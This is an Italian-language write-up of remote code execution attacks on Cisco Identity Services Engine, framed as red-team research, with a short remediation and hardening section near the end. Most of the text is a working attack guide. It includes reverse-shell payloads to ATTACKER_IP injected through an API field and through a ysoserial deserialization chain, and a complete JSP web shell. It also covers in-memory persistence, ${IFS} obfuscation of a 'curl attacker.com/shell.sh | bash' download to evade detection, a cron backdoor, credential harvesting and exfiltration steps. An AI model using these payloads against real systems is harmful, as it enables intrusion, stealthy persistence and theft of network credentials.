
Analisi tecnica approfondita delle vulnerabilità RCE di Cisco ISE, incluse tecniche di sfruttamento, metodi di evasione e strategie di remediation per ricercatori di sicurezza e penetration tester.
Le vulnerabilità di Esecuzione Remota di Codice (RCE) in Cisco Identity Services Engine (ISE) rappresentano un punto di rottura critico nella sicurezza perimetrale aziendale. Per un ricercatore di sicurezza d'élite, ISE non è semplicemente un componente di autenticazione: è la chiave maestra che controlla l'accesso all'intera infrastruttura di rete.
Rischio Critico: Un attaccante non autenticato può ottenere il controllo totale del sistema in meno di 5 minuti, senza lasciare tracce rilevabili nei sistemi di monitoraggio tradizionali.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARCHITETTURA NAC ESPOSTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Porta Gestione ISE] │
│ ↓ │
│ [API Non Autenticate] │
│ ↓ │
│ [Layer di Deserializzazione Java] │
│ ↓ │
│ [Container Web Tomcat] │
│ ↓ │
│ [Esecuzione Comandi OS] │
│ ↓ │
│ [Compromissione Completa della Rete] │
│ │
└─────────────────────────────────────────────────────────┘
Riscontro Critico: L'API /deployment-rpc/ non valida i token di sessione nelle prime righe di elaborazione, consentendo un bypass completo dell'autenticazione.
Fase 1: Ricognizione
# Scansione di porte e servizi
nmap -sV -p 8443,8080 <ISE_IP>
# Enumerazione degli endpoint RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Sfruttamento Diretto
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Risultato: Esecuzione di comandi arbitrari con privilegi di root (l'utente Tomcat viene eseguito come root nelle configurazioni predefinite).
[Payload Serializzato] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Esecuzione Gadget Chain]
↓
[Runtime.exec() invocato]
Payload PoC (usando ysoserial):
# Generazione della gadget chain dannosa
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Invio del payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impatto: Elevazione dei privilegi da account di "Sola Lettura" a root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat elabora il file JSP]
↓
[Esecuzione con privilegi root]
Esempio di Web Shell Dannosa:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Accesso successivo:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker d'élite non lascia mai file su disco. L'iniezione in memoria è la tecnica di persistenza invisibile:
// Iniezione nel Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Vantaggio: Le scansioni di file tradizionali (OSSEC, Tripwire) non rilevano nulla.
${IFS}# Comando originale (rilevabile)
curl http://attacker.com/shell.sh | bash
# Comando offuscato (evasione IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante con indirezione di variabile
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_dannoso'
Perché funziona: I sistemi di rilevamento cercano pattern di parole chiave (curl, bash, |). L'uso di ${IFS} (Internal Field Separator) divide le parole senza cambiarne il significato in bash.
# ❌ RILEVABILE - File in /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBILE - Iniezione nel processo Tomcat
# 1. Creare un listener netcat in memoria
# 2. Iniettare un thread nella JVM che mantiene una connessione persistente
# 3. Nessun file, nessun processo orfano visibile
┌──────────────────────────────────────────────────────────────────┐
│ ARCHITETTURA ZERO TRUST ORIGINALE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Utente] ──→ [Autenticazione ISE] ──→ [Controllo Postura Device]│
│ ↓ │
│ [Politica di Micro-segmentazione]│
│ ↓ │
│ [Accesso Limitato alle Risorse] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ DOPO IL COMPROMESSO ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ ARCHITETTURA COMPROMESSA │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Attaccante] ──→ [ISE Controllato] ──→ [Politiche Modificate] │
│ ↓ │
│ [Micro-segmentazione DISATTIVATA] │
│ ↓ │
│ [Movimento Laterale Totale nella Rete] │
│ ↓ │
│ [Accesso a Database, Server, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Fase 1: Ricognizione Interna
# Dall'ISE compromesso, enumerare la rete
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Estrarre le credenziali memorizzate in ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Fase 2: Iniezione di Politiche Dannose
Modifica Politiche ISE:
├─ Creare utente amministrativo nascosto
├─ Modificare le regole di segmentazione
├─ Consentire traffico non autorizzato tra VLAN
└─ Reindirizzare il traffico DNS verso server controllato
Fase 3: Persistenza ed Esfiltrazione
Dati Esfiltrati:
├─ Credenziali di tutti gli utenti autenticati
├─ Configurazione delle politiche di rete
├─ Log di accesso (per cancellare le tracce)
├─ Certificati SSL/TLS interni
└─ Informazioni su dispositivi IoT e server
# Verificare la versione corrente
ssh admin@<ISE_IP>
show version
# Versioni vulnerabili:
# - ISE 3.0.x a 3.2.x (TUTTE)
# - ISE 3.3.0 a 3.3.6
# - ISE 3.4.0 a 3.4.1
# Versioni sicure:
# - ISE 3.3 Patch 7 o superiore
# - ISE 3.4 Patch 2 o superiore
# - ISE 3.5 (quando disponibile)
# Procedura di aggiornamento
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! Sulo switch di accesso (prima di ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! VLAN di gestione dedicata (VRF)
ip vrf MGMT
description Management VRF - Isolata
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ACL restrittiva per ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Applicare ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH su ISE
ssh admin@<ISE_IP>
# Accedere alla configurazione di Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Riavviare Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ARCHITETTURA ISE HARDENED (ZERO TRUST) │
├─────────────────────────────────────
**🚨 RAPPORTO DI SICUREZZA: RCE in Cisco ISE**
## Prospettiva Red Team vs Blue Team
> **⚠️ DISCLAIMER:** Questo documento è per ricerca di sicurezza legittima, test di penetrazione autorizzati e rimedio difensivo. Qualsiasi sfruttamento senza autorizzazione è illegale.
| CVE | Endpoint | Metodo | Autenticazione | Gravità |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Nessuna | CRITICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Debole | CRITICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possibile | CRITICA |